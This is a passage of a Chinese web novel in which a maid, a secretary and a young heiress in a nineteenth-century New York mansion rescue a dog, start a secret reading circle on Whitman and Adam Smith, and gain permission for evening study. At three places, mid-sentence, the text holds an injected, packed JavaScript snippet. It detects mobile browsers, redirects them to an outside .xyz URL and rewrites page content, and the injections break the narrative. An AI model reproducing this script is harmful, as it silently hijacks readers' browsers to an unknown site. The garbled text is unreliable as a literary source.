爪印沿着小径延伸，果然在脚印之间发现了零星的黑色煤灰，安妮几人跟着脚印，随后转向宅子侧面。 「它确实去了储藏室那边。」安妮判断。 / 这个储藏室是放置大件物品的地方。 来到储藏室外，安妮发现爪印在这里变得混乱而重叠，似乎墨西哥曾在此焦急地来回徘徊。但更令人头疼的是，地上还有许多清晰的人类脚印和拖拽重物的痕迹，严重干扰了小狗足迹的连续性。 「它可能进去了。」安妮推了推那扇厚重的木门，门是锁着的。 这时洗衣女仆海伦正好抱着篮子经过，安妮赶忙叫住她：「海伦大婶，您今天早上来过这边吗？有没有看到墨西哥？」 海伦摇摇头：「没看见小狗。不过我早上取肥皂时，好像听到里面有抓挠的声音。我以为是野猫什么的。」 米芙闻言，立刻开口，语气高效利落：「我去找施耐德先生拿钥匙。」她转身快步走向管家的办公室，裙摆微扬，步伐沉稳而迅速。没过多久，她便带着钥匙返回，清晰地说明情况：「施耐德先生说，这扇门昨晚确认忘了锁，今天一早发现虚掩着，才重新锁上的。」 她选出一把旧铜钥匙，利落地插入锁孔转动，门应声而开。 / 推开门，一股浓重的霉味混合着灰尘扑面而来。储藏室里堆满了蒙尘的旧家具、板条箱和各种杂物，光线昏暗，阴影幢幢，视线极差。 「墨西哥？」伊迪丝小姐颤声呼唤，声音在拥挤的空间中显得微弱。 安妮拦住她，「里面太乱太暗，杂物容易绊倒人，让我先看看。」她蹲下身，借着微弱的光线仔细查看地面。灰尘很厚，能辨出一串小小脚印，蜿蜒通向一堆木箱后方。 「我来照明。」米芙立刻主动请缨，她找到一盏壁挂油灯，点亮并举高。温暖的光线驱散黑暗，勾勒出杂物的轮廓。就在这一片寂静中，一阵极其微弱、可怜兮兮的呜咽声从深处传来。 「在那里！」安妮轻声喊道，往深处走去。 她们发现墨西哥被卡在两个破木箱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422296|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之间的窄缝中，只露出毛茸茸的屁股和无力摇摆的尾巴，发出可怜的哀鸣。 伊迪丝立刻想冲上去抱它，但这次，是埃莉诺拦住了她。「姑妈，别急，硬拉可能会伤到它的骨头或韧带。让我来，我们需要更小心。」 埃莉诺站到安妮旁边，一起蹲下来，仔细观察缝隙。同时，伸出手，极其轻柔地抚摸小狗露在外面的背部，试图安抚它的恐惧。「好了，墨西哥，没事了，我们来了……」她低声安抚着，「箱子太重，挪不动。它卡得很紧，但没有明显外伤，主要是吓坏了。」 米芙建议道，「要不要去找几个男士过来帮忙。」 埃莉诺想起以前在家里母亲帮她救出被困小猫的经历——通过使用润滑剂，让缝隙变得顺滑。她说，「我先试试，姑妈你也去找人来帮忙，如果我的法子不管用，就让人搬开这些箱子。」 「我需要一些黄油，或者油脂。」埃莉诺对安妮说。 安妮点头，「厨房有。」她转身快步离去，脚步轻而稳。 伊迪丝也急速转身去找宅邸里的男仆。 等待期间，埃莉诺持续低声安抚小狗，米芙则举灯稳定不动，试图让它保持平静。 不过几分钟，安妮就带回一碗黄油。她和埃莉诺一起，用手指挖了一块，小心地涂抹在卡住小狗的木缝边缘。黄油渐渐渗入缝隙，润滑了干燥的木头。 伊迪丝小姐带着三个男仆匆匆赶到。不过用不到男仆了。 「现在，姑妈，轻轻试试。」埃莉诺对伊迪丝小姐说。 伊迪丝小心翼翼伸出手，轻轻拉动墨西哥的身体。这一次，小狗稍微松了一些。埃莉诺和安妮继续涂抹黄油，米芙则适时地伸出空着的那只手，用力稳住另一个可能晃动的箱体，防止它突然滑动造成二次挤压。 终于，墨西哥顺利滑出，扑进伊迪丝的怀中，萎靡地舔着她的脸，发出委屈的呜呜声。 伊迪丝紧紧抱住失而复得的小狗，眼泪决堤落下。「谢谢你，埃莉诺。谢谢！哦，也谢谢你们，我亲爱的安妮，米芙。」 埃莉诺松了口气，紧绷的肩膀松弛下来，露出微笑。米芙轻轻放下油灯，安静地站在一旁，嘴角也跟着微微上扬。 安妮示意接过小狗，简单检查了一下它的四肢和身体。「它没事，只是受了点惊吓。」 伊迪丝抱着墨西哥，再次向安妮三人道谢后才离开。 储藏室里骤然静了下来。 三个女孩站在原地，谁都没有立刻离开。 她们像是做了什么了不得的大事，等着自我奖赏。奖励他们也找到了，墨西哥遗落在地上的玩具骨头。 安妮将玩具抓在手上，抛了抛。 唔！ 扬起一地尘埃。 尘埃还在飞舞，霉味并未散去，但周遭的空气却变得如此清新。她们贪婪地呼吸着。 / 梅布尔太太的声音从门外传来：「既然狗找到了，就都回去工作吧。安妮，把这里收拾干净。」 28.（大章）三束微光 安妮的手指在围裙上拧了一下。 女仆不该出现在秘书的房间里。 「放轻松。」埃莉诺的声音从身后传来，她手里捧着用油纸包好的黄油饼干，「米芙在等我们。」 门开了。房间比安妮想象中更整洁，书多得惊人。布面装帧的厚书和牛皮笔记本挤满了书架，窗边放着一个小书桌，摊开着写满字的手稿，其中一页被撕去大半。 窗对着片矮牵牛，风一吹，淡香就裹着凉意飘进来。米芙原本把自己包在一张大毛毯里，见到她们来了，从椅子上站了起来，笑着将他们引入房间。 三人挨着床边坐下，米芙将毯子张开，铺到两人的大腿上。 一时谁都没有说话，又陷入了奇特的沉默， 窗外能听见伊迪丝小姐弹奏着新曲。温柔而有力。 等到她停下弹奏，中间休息的时候。埃莉诺率先开口。 「尝尝吧。」 她把一块儿黄油饼干掰成三份，摊开手心，递到两个女孩面前。 安妮接过，刚挨到嘴尝了点味道。米芙突然打断道「等等。」 只见她，从床头柜最深处摸出一个小巧的玻璃瓶。里面还有喝了一半的粉红色液体。是一瓶樱桃果酒。 她变出一个小巧的玻璃杯，斟满果酒，自己先喝了一口。然后她眨了一下眼睛，示意安妮和埃莉诺接过杯子。 安妮和埃莉诺互相看了一眼，脸上都是惊奇，埃莉诺率先从米芙手中捧过小巧的酒杯。 只见她皱着精致的眉毛，喝下了可能是有生以来第一口酒精。 就这么一小口，埃莉诺已经双颊绯红，那情态不再像个大家闺秀，反而显出点憨。而米芙，原本圆脸蛋，就有几分可爱气。 她把酒杯递给安妮，安妮也喝了一口。味道并不好，比她过去超市里能买到的便宜酒精饮料还要差些，但这也是安妮来到这个时代第一次喝酒，尝出了格外的滋味。 就这样，她们一边品尝黄油饼干，一边小口啄着果酒。 先前的那一丝疏离感突然消失得无影无踪。 「米芙，这是安妮。安妮，这是米芙。」 虽然米芙和安妮早已经认识，但这还是第一次正式认识。在艾米诺的破冰下，她们也笨拙地介绍自己。 「你好，米芙，一位秘书！负责玛蒂尔达夫人的文书工作。」米芙伸出手，正式的与安妮问候。 安妮犹豫了一下，才握住那只手。指尖相触的瞬间，她感到一丝意外——米芙的手心和她一样有茧，只是位置不同。 「你好，安妮，一个……女仆。」安妮轻声说。 「暂时的。」埃莉诺抢白道，语气比自己诉说想法时还要坚定。 米芙笑了，拍了拍安妮的胳膊。「对，只是暂时的。我母亲常说‘身份是别人给的，本事是自己的’。」 安妮的心跳渐渐平稳下来。 埃莉诺已经自顾自地坐在书桌前，翻开一本诗集。「我们今天就说说心里话。凭什么姑娘家只能读《插花手册》和《圣经》？」 「我一直在想，为什么女性只能通过诗歌想象自由？就像惠特曼写的：『我辽阔无垠，我包罗万象』——但现实中，我们却被限制在插花和圣经里。」 米芙从书架上抽出一本印着齿轮图案的德文书。「看看这个。柏林有个女厂长，没读过贵族学校，却改进了织布机，让她所在的工厂利润翻倍。」 安妮凑过去看。德文旁标注着密密麻麻的笔记，有些是英文，有些是她看不懂的符号——米芙怕别人看懂，故意用自己的法子标的。米芙指着“工人培训”那段：「这里面的学问挺深的，比如这里，不止得懂技术，还得懂工人的苦，就像惠特曼写的‘关注码头工人的汗’。那女厂长能成，不只是改了机器，还知道工人站十几个时辰累，调了休息时间，工人愿意好好干，效率自然高。」 「咱们读这些书，是为了自己，也不只为自己——懂了管理，能提高工作效率，就有更多时间休息；懂了法律，受人欺负了能够找回公道。这些对所有人都适用。」安妮首先想到的并不是自己，而是厨房的帮工吉米，才十二岁，干最粗的活拿最少的钱，以及许许多多的人。 埃莉诺将诗集一合，如同发现新大陆般，「诗给了‘要改变’的念头，这些书，能给‘怎么改变’的法子。」 米芙的眼睛也亮了起来。「上次我在回布鲁克林的路上，遇到过一个爱尔兰女人，不懂合同，被房东骗光积蓄，只能带孩子睡街头。我几年前，还有过一个想法，攒钱开个小识字班，帮助这些女士能够进行基础的拼读，现在觉得，咱们三个一起，或许能做得更多。」 埃莉诺再次把一块饼干掰成三块，每人一份。「我就知道我们合得来！我喜欢《草叶集》，是因为它说‘我包罗万象’，不用管富贵人家的小姐该如何；米芙你读这么多『绅士之书』，是想靠本事做事；安妮你——」 埃莉诺一时卡壳，安妮都替她尴尬了下，赶紧说：「我是女仆，但我想是暂时的。」 三个人同时轻笑起来，米芙差点把果酒喷了出来。 笑完之后，埃莉诺又忧愁起来，「你们都有自己的目标，有自己的擅长。而我，好像只是会读诗——」 「诗歌给了我们勇气。」安妮轻声说，「但我们需要更多。把勇气转化为行动。」 米芙忽然从书架顶层抽出一本皮面磨损的书。 「『绅士之书』？好像只有男性才有阅读的权力。」米芙简短评价。埃莉诺还是脸颊一红，虽然她知道米芙并不是针对她。「我读这些『绅士之书』。不是因为男士比女士优秀，而是因为这个世界的规则是他们定的。所有人好像都在说‘姑娘家看不懂’，可外面的银行、铁路、工厂，全按男性的规则转，他们做了，他们说了，然后他们写了，好像这世界原本的规则就是这样了，这样排除女人了。他们一开始就懂这些吗？——他们读《国富论》，才懂资本运作；读《地理全书》，才知道哪里有铁矿；读《法律汇编》，才知道怎么打官司。咱们不读，连跟他们对话的资格都没有。我读『绅士之书』，不是学他们的傲慢，是学他们看世界的方式。我不为拙劣的模仿男性，我是要和他们有匹配的能力。」 她认真地看向埃莉诺，「埃莉诺，‘怎么改变’的答案都在这些书里。他们看铁路，想‘运多少货、赚多少钱’，咱们也这么想，就能知道范里安先生家的生意如何，能帮玛蒂尔达夫人的投资提有用的建议。埃莉诺，我知道，我们都不想永远只是站一旁听着。」 埃莉诺接过那本皮面磨损的《国富论》，轻柔地抚摸封面，像抚摸恋人的面颊。安妮也看向它，封面印着亚当·斯密的肖像，边角沾着点墨水——是从报社旧书堆淘的。 书页间密密麻麻的批注让她屏息——米芙不仅读了，还在思考如何用这些知识帮助自己和他人。 她原以为这场会面，会是自己以领先百年的眼光和知识征服两个土著少女。没曾想到，在这“落后时代”已经有个黑人女孩拥有着如此超前的意识和意志。 是她被征服了。 这个时代的女人并不缺乏智慧，她们只是缺少启迪智慧的机会，缺少被看到的机会。 埃莉诺拍了下手，果酒晃出细泡，她赶紧捂杯口，往门口瞟了瞟：「对，不是模仿，是要和他们有匹配的能力。」 她说，「不是男性比咱们会算，是他们学了算术；不是男性懂地图，是他们学了地理。我父亲以前也常说‘姑娘家不用懂这些’，结果呢……他大错特错！」 窗外伊迪丝小姐弹奏钢琴的声音再次响起，这次是贝多芬月光奏鸣曲第三乐章。没有委婉的序幕，音符如狂风暴雨般倾泻而下。演奏者和听者内心深处不可名状的情感和思维变得具体而跃动。 / 那是一个清晨的火车站台。一切都笼罩在一层灰蒙蒙的滤镜里，唯一鲜艳的，是她记忆中母亲曾穿过的、那抹温柔的鸢尾花色的裙摆——但那已是许久以前的事了。 自己的家一夜之间被搬空，地毯被卷走，只留下凌乱的压痕和地板上的尘埃。父亲往日挺拔的身躯佝偻在破旧的扶手椅里，阴影将他吞没。母亲压抑着啜泣，被外祖父强硬地带上了一辆马车。 埃莉诺穿着她最好但也明显旧了的天鹅绒外套，紧紧抓着一只小小的皮箱。她竟然长这么大了，能够平视父亲。 他的声音嘶哑，但每一个字都敲在埃莉诺的心上。 「埃莉诺，我是一个失败者。」 他顿了顿，目光越过她，似乎看向了某个遥不可及又让他彻底溃败的远方，然后视线重新聚焦在她脸上，近乎恳求：「尽你的努力，去过你自己想要的生活。」 呜——！ 巨大的蒸汽机车头喷吐着白雾，催促着离别。父亲最后用力地握了握她的手，然后站起身，决绝地、大步离去，再也没有回头。 埃莉诺站在原地，默默地流泪。 「去过你自己想要的生活」——像一颗种子—— 是父亲最后的馈赠与判决。 / 布鲁克林炙热的阳光，将简陋的街巷烤得褪色，灰扑扑的。 画面里总有声音：孩子们追逐打闹的尖笑声，皮球砸在木板墙上的砰砰声，十分喧闹。但七岁的米芙不在其中。 她蹲在满是尘土的地上，小小的身影在巨大的阳光下拘成一团。指尖捏着一根捡来的炭条，正无比认真地在泥地上划动，勾勒出一个个歪扭却清晰的字母。 「快看！怪胎米芙又在和泥土说话了！」不知是谁喊了一声。 笑声变了调，孩子们聚拢过来。几双沾着泥巴的小脚停在她划出的字迹旁。 「我妈妈说，写字是白人的事情。」 「她在学乔娜！」另一个女孩尖声说，「可是乔娜已经走啦！」 「乔娜」，那是米芙在社区里最好的玩伴，比她大2岁，上周被一辆漂亮的马车接走了，送去很远的一个乡下绅士家里。所有人都知道乔娜是去做什么的。她猛地抬起头，泪水毫无预兆地涌出眼眶，她讨厌这些黑人小孩，他们那么愚蠢，对这一切那么无所谓！她不是在学乔娜，她是在学那些带走了乔娜的东西。 她推开那些围观的孩子，跌跌撞撞地跑回家。 她扑进母亲怀里：「……我不是怪胎……妈咪，我恨这里！我恨这个肮脏的、黑色的地方！」 母亲的怀抱让人安心，有股棉布被阳光晒暖的气息。她没有立刻说话，只是一遍遍抚过米芙剧烈抽动的脊背。 等米芙安静下来。 「不，宝贝，」她的声音很低，「你恨的不是黑色，我们的肤色，我们的家，我们的社区。是他们画下的圈，告诉我们『你只能待在圈里』。」 母亲用拇指擦去她的眼泪：「你想去学堂吗？去学习如何画圈……」 / 琴声在有力而短促的旋律后，突然来到一片静湖，柔和而优美的抒情段落，仿佛暴风雨中一瞬间的喘息。 「我们都被不同的绳子捆着。」米芙突然说，声音很轻。 埃莉诺苦笑一下：「恐怕我的那根看起来金灿灿的，其实是由镀金铁丝编的。」 她们都等着安妮说下去。 安妮硬着头皮说，「我的绳子是既定的命运，饿肚子的女孩，做女仆的女孩……」 她并不是在说自己，她在说所有女人。她心中那个一直徘徊着的，一直被自己刻意忽视的宏大“念头”，再也遮蔽不住，使她无法假装看不见。但她还不能说出口，既不够清晰也不够具有说服力。所以，她又只是在说自己，「……男仆的妻子，孩子的母亲……既定的命运，是一环扣一环的绳子，我们可以不解开，但我们应该拥有解开的权力，我们还需要具备解开的能力，如果我们想，我们就能解开，不是吗？」 埃莉诺感到从大脑到身体从未体验的颤栗，紧紧拥抱着安妮。 她脱离书籍，轻声背了起来。 「我赞美我自己，歌唱我自己， 我所讲的一切，将对你们也一样适合， 因为属于我的每一个原子，也同样属于你。 我邀了我的灵魂同我一道闲游， 我俯首下视，悠闲地观察一片夏天的草叶。 我的舌，我的血液中的每个原子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427368|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是由这泥土、这空气构成， 我在这里生长，我的父母在这里生长，他们的父母也同样在这里生长……」 「你要对我说什么？ 难道我怕我自己？ 难道你不是也在我之内？ 因为我包罗万象。 …… 我辽阔广大，我包罗万象。 …… 无论是善还是恶，我都不拒绝， 一切都吸引着我，没有东西能让我却步。」 米芙翻开《国富论》，直接翻到她做了标记的页码。 「在这场合，像在其他许多场合一样，他受着一只看不见的手的指导，去尽力达到一个并非他本意想要达到的目的。也并不因为事非出于本意，就对社会有害。他追求自己的利益，往往使他能比在真正出于本意的情况下更有效地促进社会的利益。」 「一个人抽铁线，一个人拉直，一个人切截，一个人削尖线的一端，一个人磨另一端，以便装上圆头。……这样，扣针的制造分为十八种操作。……如果他们各自独立工作，不专习一种特殊业务，那么，他们不论是谁，绝对不能一天制造二十枚针，说不定一天连一枚针也制造不出来。」 阁楼里，三个姑娘的脑袋越靠越近，书页翻动的声音沙沙作响。 琴声越来越欢快，每个音符都急着自己跳出来。 安妮凝视着跳动的灯火，轻声开口：「我听说过一个说法：知识分为两种。一种让人安于现状，一种让人改变现状。我们需要第二种。」 她忽然站起身：“其实我还有个想法——咱们可以一起学习！读的书越来越多，聊的事也越来越杂，要是能有个更科学的法子学习，效率肯定更高。我觉得，咱们或许该建立个学习制度，固定时间、分好方向，不用再像现在这样零散着来。” 米芙停下翻书的手，眼里满是惊艳：“学习制度？具体是怎么样的？比如……固定每天晚上聚？还是分着学不同的书？” 安妮不好意思地笑了笑，指尖蹭过《国富论》的书脊：“具体的我还没太想周全——毕竟咱们身份不一样，时间也凑不齐，得琢磨琢磨怎么既不耽误各自的事，又能好好学。” “那咱们一起想啊！” 埃莉诺立刻接话，身子往前凑了凑，丝绒裙摆蹭过椅子腿，“咱们慢慢凑，总能找出合适的时间！” 米芙点头应着，却忽然想起什么，目光落在安妮身上：“不过现在倒有件急事得先解决——安妮，你需要干太多体力活，平时能自由读书的时间太少了，咱们就算定了制度，你也没法参与。” 这话让屋里的气氛顿了顿。三人都没再说话，只见窗外矮牵牛被风吹得轻轻晃。 《月光奏鸣曲》第三乐章进入高潮，主题旋律不断重复、音域不断提高，和弦的厚度与力度不断加大。音符的密度被推到极致，伴随着大量的低音轰鸣，和弦撞击，情绪像喷薄的火山，排山倒海而来。 安妮却并不感到真正的气闷，相反，她感受到了前所未有的力量在心中激荡。 她向前倾身，烛光化成了她的眼眸。「你们有没有想象过……一百年后的世界会是什么样子？」 埃莉诺轻笑：「更多的铁路？更快的轮船？」 「不，」安妮的声音变得悠远，「我想象的是这样一个世界：女性可以成为医生、律师、工程师。黑人孩子和白人孩子坐在同一个教室里读书。一个女仆也能上大学。」 米芙的茶杯停在半空。「这怎么可能……」 「为什么不可能？」安妮的目光扫过书架上的书，「《国富论》出版时，很多人都说“真正的财富是国民劳动的年产物，而非金银储备”不可能。惠特曼写《草叶集》时，也被认为离经叛道。改变总是从想象开始。」 她继续描述，声音轻柔却坚定：「每个人身上有某种东西，某种先知们具有的东西，它不论男女，也不分老少，是一种内在的、不可动摇的价值。我想生活在那个世界，那里没有人生来就该伺候别人。女性可以自由选择婚姻，或者不婚。黑人和白人在法律面前人人平等。」 她望向米芙，「富有学识的黑人女性也能和任何人公平竞争，她们可以自由选择自己的道路，甚至参选总统！」 她多想告诉她们，这不是想象，这就是她家乡的样子。 阁楼里再次安静下来。安妮描绘的画面太过美好，太过遥远，却又好像触手可及。未来彷佛是等待她们踏足的伊甸园，让人向往。而这个未来，她邀请她们一起缔造！ 「但这需要知识。」安妮最后说，「不是用来炫耀的知识，而是用来改变的知识。就像我们刚才聊的，我们需要知道法律才能争取权利，需要懂经济才能改善工人生活，需要学科学才能打破偏见。」 「不只是为我们自己，」安妮轻声说，「也为那些无法来到这里的人。」 低语声与楼下的琴声交织，却又奇妙地隔绝开来。 埃莉诺突然轻笑：「想想看，如果姑妈知道她的秘书、侄女和女仆正在这里策划一场小小的G命……」 「这不是G命，」安妮微笑着说，「这是觉醒。」 米芙合上书本。「下周同一时间？」 「我会带来《妇女与法律》的那本书。」埃莉诺说。 「我最近正在整理铁路里程和分布的数据，可以分享。」米芙接口。 安妮看着她们，尴尬地说：「我会准时到。」 / 房间里现在只剩下米芙自己。 她仰起脸，月光照亮她的眼睛。 安妮描绘的那个未来在她脑海中挥之不去，像一粒火种落在干草上，瞬间点燃了某种她从未敢仔细想象的可能。她感到一阵陌生的战栗，让她指尖发麻，浑身发烫。那不是恐惧，而是一种过于汹涌的期待，几乎让她承受不住。她紧紧攥住那本《国富论》，粗糙的封皮硌着她的掌心，书籍的分量压下了那几乎要破体而出的颤抖。 阁楼外，万籁俱寂，整座宅邸乃至更广阔的世界都仿佛陷入了沉睡。 楼下伊迪丝小姐弹奏的钢琴声已经停了，但米芙心中的旋律澎湃向前。 29.女仆的学识 埃莉诺在门口给自己打足了勇气。然后用排练了很久的语气，轻呼： 「姑妈！范德比尔特夫人又上报纸了！」 那声音带着一丝恰到好处的急切，她缓缓走进小客厅，手里挥动着一份《纽约时报》。 玛蒂尔达正享用着草莓。她眼皮都没抬，只是哼了一声。「那个暴发户，除了用钱砸出风头，还会什么？」 埃莉诺巧妙地把报纸铺在玛蒂尔达夫人面前的茶几上，手指点在标题下方。「您看，说是捐了医院附属建筑，可我听说，那笔钱还不如她舞会上那盏新水晶灯值钱呢。」 这句话精准地戳中了玛蒂尔达的痛处。范德比尔特家是新兴的富豪，但近来风头正劲，频频挑战她们这些老牌家族的地位。玛蒂尔达放下银叉，终于用正眼看了报纸，眉头微微蹙起。 埃莉诺顺势在姑妈身边坐下，带着几分亲近。「咱们布鲁克家向来注重真正的教养，可不是这些虚浮做派能比的。姑妈……有件事，我想求您成全，也正是为了不让咱们家在‘教养’上被人比下去。」 玛蒂尔达用饶有趣味的目光看向侄女。「什么事？」 「您知道的，米芙·弗里曼——就是您请来的那位秘书，她很有学问。她愿意每晚抽空指导我读些历史典籍。」埃莉诺微微低头，露出些许惭愧，「上回从瓦萨学院回来后，我想了很久，自己的不足是客观存在的，我不想自欺欺人，通过掩盖不足让自己看起来完美。再想想以前，我陪您去阿斯托家的茶会，人们高谈阔论，问我对‘波士顿倾茶事件’看法，我连细节都说不清，也丢了您的脸面。」 「跟米芙学习？」玛蒂尔达端起精致的茶杯，沉吟着。米芙的学识她是认可的，但……「你如果想要学习，请一位家庭女教师便是了。她毕竟是个秘书，你一个小姐，常和她单独相处，传出去……」她没有明说的顾虑，清晰地写在眼神里——阶层和肤色的界限，在人们心中根深蒂固。 埃莉诺早已料到姑妈的顾虑，这也是她真正等待的机会。她语气更加柔顺：「我不需要学习基础知识，怎么需要专门延请一名家庭教师呢？更可况，我这个年龄再请家庭女教师，岂不是仍被外人当作小女孩？」 玛蒂尔达沉吟点头。埃莉诺看见后，继续说，「我还想以后申请女子学院，姑妈你不会希望您的侄女因为一次拒绝就放弃吧，我需要读一些更精深的的东西。所以，姑妈，您得帮我。我想白天多花时间自学，夜里再在米芙的辅导下精读2个小时书，如果我有所长进，再申请。」 「可？」 「姑妈考虑的问题，我也想过了。若是私下学习，难免惹人闲话。所以我想，需要一位女伴在场才好。」 「女伴？」 「寻常女仆要么听不懂我们谈论的内容，呆坐着反倒尴尬；要么心思活络，怕是在外面乱传话。」埃莉诺话锋一转，引出真正目的，「我瞧着安妮不错。她识得几个字，性子又沉稳。不如让她晚上下工后，名义上过来端茶送水，实则在一旁陪伴。」 「安妮？」玛蒂尔达的指尖停在杯沿，怀疑地看向侄女，「她做活是仔细，上次帮伊迪丝找狗的事情，我也听说了。可识字归识字，能应付得了你们读典籍的场面？别到时候出丑，反而影响你和米芙。」 就等着您咬饵呢！埃莉诺从容应答：「姑妈若是不放心，何不现在就叫她来，您亲自考考她？」 玛蒂尔达思索片刻，点了点头。「也好。让人去叫她来。」 「我亲自去。姑妈，您等我回来。」埃莉诺起身，步伐平稳地走出客厅。 一离开玛蒂尔达的视线，她几乎是飞跑起来。多亏了波斯地毯的厚实，才没有砸出太多噪音。在楼梯过道，安妮和米芙就等在那里。她们齐齐看来。 「安妮。」埃莉诺的声音很轻，但安妮立刻从她的眼神里读到了确认的信息。 她们约定的时刻到了。 她放下了米芙的手，回以米芙一个“放心”的笑，然后整理了一下围裙，跟在埃莉诺身后。 走进装饰优雅的小客厅，安妮在门口停下，微微躬身。「夫人。」她感到玛蒂尔达夫人的目光落在自己身上，那目光意味不明。 玛蒂尔达开口，语气带着考校：「埃莉诺说，你识得字？」 安妮很紧张，心脏几乎漏跳一拍，但声音依旧平稳：「回夫人，学过一些，平日也会看看旧的报纸，认得些字。」 玛蒂尔达从茶几上拿起一本厚实的书，刚刚吩咐人拿来的。书脊上《美国历史》几个烫金大字依旧鲜艳，显然平时没有怎么翻过。她看似随手翻到了一页，递过去。「读读这段。再说说起因是什么。」 客厅里安静下来。埃莉诺紧张地看着安妮。 安妮接过那本沉甸甸的书，指尖拂过雪白的纸页。 她深吸一口气，目光落在文字上，那是100年前的历史，一段对于这块土地特别重要的历史。 她清晰地读了起来：「1773年12月16日，波士顿的殖民地居民为反抗英国议会的《茶税法》，伪装成印第安人，登上英国东印度公司的茶船，将三百多箱茶叶倒入波士顿湾……」她的朗读流畅，没有磕绊。读完，她补充道，「起因是英国议会要向殖民地征税，却不给殖民地在议会里的代表权，大家认为‘无代表，不纳税’，所以发生了反抗。」 玛蒂尔达的眼神变了，从怀疑转为惊讶。她没料到一个女仆不仅能读，还能理解其中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432912|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关键。她沉默片刻，又问：「这事，对后来打仗有什么影响？」 安妮有了信心，回答得更沉稳了些：「回夫人，这件事让英国和美洲殖民地的矛盾更深了。英国后来出台了更严厉的法令惩罚波士顿，反而让其他殖民地团结起来支持波士顿，为后来的大陆会议召开、独立战争爆发埋下了种子。」 这番话出口，玛蒂尔达彻底哑口无言。她盯着安妮，半天没说话，似乎要重新认识这个平日安静的女仆。安妮的见识，超出了她对一个女仆的想象。 但她没意愿探究安妮过去的经历。 过了好一会儿，玛蒂尔达才端起茶杯，喝了一口，语气缓和下来：「看来是我多虑了。安妮，既然你认得字，性子也老实，现在有一个活儿给你，你听一听可愿意。晚上腾出2个小时，在埃莉诺读书学习的时候，在旁边陪伴，根据她的需要，倒茶添水。」 安妮压制住激动之情，「谢谢夫人的赏识，我愿意！」 「也算不上赏识！小姐读书的时候，有个女仆在场添茶倒水，才合乎规矩。」她挥了挥手，继续道，「我也不是苛待仆人的主人，这就算是你额外出力，我会跟施耐德先说，给你加些工钱。再让梅布尔那边傍晚少派一些活儿给你。」 安妮恭敬躬身：「谢谢夫人。」 玛蒂尔达似乎对安妮识抬举的表现很满意，「丑话我也说在前面。如果你耽误了埃莉诺的学习，她没什么进步，我随时都要取消这个临时安排的。」 埃莉诺脸上掠过一丝不易察觉的笑意，从手袋里取出一个小钱袋，放在茶几上。「姑妈！这本就是我学习的事情，也是我提出来的，安妮的补贴从我零用里出，不动用公账。」 玛蒂尔达看了看钱袋，又看了看眼中闪闪发光的侄女，终于点头：「就依你。别耽误她白日的活计，也别让米芙留太晚。回头让人议论是非。」 「谢谢姑妈。」埃莉诺轻快地起身，迫不及待地去告知米芙这个好消息。经过安妮身边时，她用极低的声音快速说了一句：「晚上见。」 安妮微微点头，心里松了口气，也多了几分期待。 这一步终于迈出去了！ 「对了，你们晚上读书的地点就在——」玛蒂尔达还想吩咐几句细节。埃莉诺身影已经消失在门后了。 留在客厅的玛蒂尔达，又跟安妮交待了几句话，才让她离开。 看着安妮也退出去后，又拿起报纸，目光落在“范德比尔特夫人”的名字上，嘴角勾起一抹不易察觉的弧度。 她用银叉挑起颗最大的草莓，心里已然盘算：等埃莉诺学出些模样，下次茶会定要让她好好露一手，让暴发户们知道，老钱的教养，从不是用金子能换得来的。 30.「思维导图」 「玛蒂尔达夫人真的同意了！」米芙的声音带着一丝不可置信，「真这么简单？」 安妮也好似梦中，她站在书房门口，大脑还是晕乎乎的状态。布鲁克公馆有不止一间书房，大的那个一直在装修。最小的这间，她平日只能在外擦拭门框，里面轮不到她打扫，如今却能正大光明地走进来。 米芙比任何人都清楚，玛蒂尔达夫人点头应允这样的事，是多么不寻常。「那你的身份呢？」她轻声问，更像是在确认什么。 「夫人说……是您和埃莉诺小姐两人一起学习。需要有个‘女仆’在场添茶倒水，才合乎规矩。我就是那个‘女仆’。所以，我想，我的身份还是一个女仆。」安妮语气平静。 米芙沉默了。 安妮却向前一步，握住米芙的手，扬起一个轻松的弧度：「米芙，不必为我的处境忧心，现在已经比我预想的好多了。至少，」她眨眨眼，「还有额外补贴！」 米芙站起身，走到那扇大门前，指尖拂过门上镀金的把手。「规矩…」她重复着这个词，嘴角泛起一丝难以察觉的弧度。「那么，我们就不该辜负这‘规矩’。」 安妮也走过去，一起拉门。 「咿呀！」 恰巧同时，书房门被从里面缓缓推开，埃莉诺小姐站在门里，脸上带着压抑不住的兴奋。她看看米芙，又看看安妮，由衷地笑起来：「你们好，学伴？现在一起读书？」 「当然。」米芙也恢复平日的沉稳，走进书房。安妮紧随其后。 三人走到书房中央宽大的橡木书桌旁。那里早已经提前摆好了三把扶手椅。 